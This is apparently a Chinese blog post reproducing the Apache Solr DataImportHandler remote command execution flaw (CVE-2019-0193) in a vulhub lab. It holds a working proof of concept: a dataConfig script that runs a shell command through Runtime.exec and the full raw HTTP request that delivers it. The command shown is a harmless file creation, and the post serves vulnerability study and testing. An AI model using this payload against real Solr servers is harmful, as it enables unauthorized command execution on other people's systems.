vulhub中Apache Solr 远程命令执行漏洞复现(CVE-2019-0193)

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。

1.首先在页面左侧选择`demo`核心,打开Dataimport面板,开启右侧Debug mode,填入以下POC:

<dataConfig>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="sample"
            fileName=".*"
            baseDir="/"
            processor="FileListEntityProcessor"
            recursive="false"
            transformer="script:poc" />
  </document>
</dataConfig>

2.利用burpsuite发送以下请求包:

POST /solr/demo/dataimport?_=1708782956647&indent=on&wt=json HTTP/1.1
Host: your-ip:8983
Content-Length: 613
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-type: application/x-www-form-urlencoded
Origin: http://your-ip:8983
Referer: http://your-ip:8983/solr/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Connection: close

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=demo&dataConfig=%3CdataConfig%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22sample%22%0A++++++++++++fileName%3D%22.*%22%0A++++++++++++baseDir%3D%22%2F%22%0A++++++++++++processor%3D%22FileListEntityProcessor%22%0A++++++++++++recursive%3D%22false%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

3.命令成功执行

最近更新

  1. TCP协议是安全的吗?

    2024-04-06 00:58:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-06 00:58:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-06 00:58:02       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-06 00:58:02       20 阅读

热门阅读

  1. Lambda表达式

    2024-04-06 00:58:02       20 阅读
  2. 面试官:HashMap为什么是线程不安全的?

    2024-04-06 00:58:02       15 阅读
  3. C语言笔记之struct dirent*和DIR*

    2024-04-06 00:58:02       15 阅读
  4. Flink容错机制

    2024-04-06 00:58:02       15 阅读
  5. 算法练习----力扣每日一题------4

    2024-04-06 00:58:02       16 阅读
  6. 区块链技术的应用场景和优势

    2024-04-06 00:58:02       16 阅读
  7. Qt | Qt 快速入门(零基础)

    2024-04-06 00:58:02       14 阅读
  8. Django -- 模型层

    2024-04-06 00:58:02       16 阅读
  9. Day5:学习尚上优选项目

    2024-04-06 00:58:02       13 阅读
  10. 数据挖掘|序列模式挖掘及其算法的python实现

    2024-04-06 00:58:02       18 阅读